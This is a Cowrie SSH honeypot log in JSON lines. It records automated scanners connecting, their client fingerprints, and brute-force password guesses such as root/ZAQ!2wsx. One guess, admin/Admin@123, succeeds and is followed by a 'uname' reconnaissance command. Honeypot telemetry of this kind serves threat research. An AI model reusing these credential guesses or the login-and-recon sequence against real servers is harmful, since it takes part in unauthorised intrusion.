{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:53.397116Z","src_ip":"91.92.42.227","session":"1832782080bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.252.123.105","src_port":57282,"dst_ip":"159.203.135.109","dst_port":22,"session":"59c40b60e7e9","protocol":"ssh","message":"New connection: 103.252.123.105:57282 (159.203.135.109:22) [session: 59c40b60e7e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:53.439261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:53.443707Z","src_ip":"103.252.123.105","session":"59c40b60e7e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:53.674279Z","src_ip":"103.252.123.105","session":"59c40b60e7e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"passwd","message":"login attempt [test/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:53.761587Z","src_ip":"91.92.42.227","session":"1832782080bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.5","message":"Connection lost after 6.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:54.507314Z","src_ip":"27.71.230.31","session":"e856c722a0a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sophia","password":"sophia123","message":"login attempt [sophia/sophia123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:54.631054Z","src_ip":"103.252.123.105","session":"59c40b60e7e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:54.897203Z","src_ip":"91.92.42.227","session":"1832782080bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:55.864134Z","src_ip":"103.252.123.105","session":"59c40b60e7e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":53552,"dst_ip":"10.17.0.5","dst_port":22,"session":"1be93157cc27","protocol":"ssh","message":"New connection: 45.156.87.147:53552 (10.17.0.5:22) [session: 1be93157cc27]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:56.271224Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:56.275058Z","src_ip":"45.156.87.147","session":"1be93157cc27","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:56.356939Z","src_ip":"45.156.87.147","session":"1be93157cc27","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test123","message":"login attempt [test1/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:56.603644Z","src_ip":"45.156.87.147","session":"1be93157cc27","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:53:57.688389Z","src_ip":"45.156.87.147","session":"1be93157cc27","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":52452,"dst_ip":"10.17.0.5","dst_port":22,"session":"e43db3b38574","protocol":"ssh","message":"New connection: 91.92.42.227:52452 (10.17.0.5:22) [session: e43db3b38574]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:00.282711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:00.304696Z","src_ip":"91.92.42.227","session":"e43db3b38574","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:00.411847Z","src_ip":"91.92.42.227","session":"e43db3b38574","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ZAQ!2wsx","message":"login attempt [root/ZAQ!2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:00.872386Z","src_ip":"91.92.42.227","session":"e43db3b38574","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":50180,"dst_ip":"10.17.0.5","dst_port":22,"session":"908f890dedf2","protocol":"ssh","message":"New connection: 45.156.87.147:50180 (10.17.0.5:22) [session: 908f890dedf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:01.475332Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:01.480978Z","src_ip":"45.156.87.147","session":"908f890dedf2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:01.562880Z","src_ip":"45.156.87.147","session":"908f890dedf2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"coder","password":"123456","message":"login attempt [coder/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:01.813614Z","src_ip":"45.156.87.147","session":"908f890dedf2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:02.010841Z","src_ip":"91.92.42.227","session":"e43db3b38574","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:02.903491Z","src_ip":"45.156.87.147","session":"908f890dedf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":50196,"dst_ip":"10.17.0.5","dst_port":22,"session":"89c0912baf59","protocol":"ssh","message":"New connection: 45.156.87.147:50196 (10.17.0.5:22) [session: 89c0912baf59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:06.757136Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:06.763012Z","src_ip":"45.156.87.147","session":"89c0912baf59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":35050,"dst_ip":"10.17.0.5","dst_port":22,"session":"7e7a6d7e553b","protocol":"ssh","message":"New connection: 91.92.42.227:35050 (10.17.0.5:22) [session: 7e7a6d7e553b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:06.827143Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:06.841310Z","src_ip":"45.156.87.147","session":"89c0912baf59","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:07.036996Z","src_ip":"91.92.42.227","session":"7e7a6d7e553b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:07.040371Z","src_ip":"91.92.42.227","session":"7e7a6d7e553b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"grok","password":"12345678","message":"login attempt [grok/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:07.277480Z","src_ip":"45.156.87.147","session":"89c0912baf59","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"Admin@123","message":"login attempt [admin/Admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:08.356684Z","src_ip":"91.92.42.227","session":"7e7a6d7e553b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:08.362933Z","src_ip":"45.156.87.147","session":"89c0912baf59","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:09.074399Z","src_ip":"91.92.42.227","session":"7e7a6d7e553b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:09.077641Z","src_ip":"91.92.42.227","session":"7e7a6d7e553b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:09.413130Z","src_ip":"91.92.42.227","session":"7e7a6d7e553b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:09.418031Z","src_ip":"91.92.42.227","session":"7e7a6d7e553b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.156.87.147","src_port":33130,"dst_ip":"10.17.0.5","dst_port":22,"session":"15592e8044e6","protocol":"ssh","message":"New connection: 45.156.87.147:33130 (10.17.0.5:22) [session: 15592e8044e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:12.261863Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:12.266248Z","src_ip":"45.156.87.147","session":"15592e8044e6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:12.350976Z","src_ip":"45.156.87.147","session":"15592e8044e6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"12345678","message":"login attempt [www/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:12.722041Z","src_ip":"45.156.87.147","session":"15592e8044e6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":35104,"dst_ip":"10.17.0.5","dst_port":22,"session":"de5246d79a18","protocol":"ssh","message":"New connection: 91.92.42.227:35104 (10.17.0.5:22) [session: de5246d79a18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:13.518168Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":57524,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa5bf8e61e23","protocol":"ssh","message":"New connection: 103.15.222.183:57524 (10.17.0.5:22) [session: aa5bf8e61e23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:13.547185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:54:13.551217Z","src_ip":"103.15.222.183","session":"aa5bf8e61e23","protocol":"ssh"}
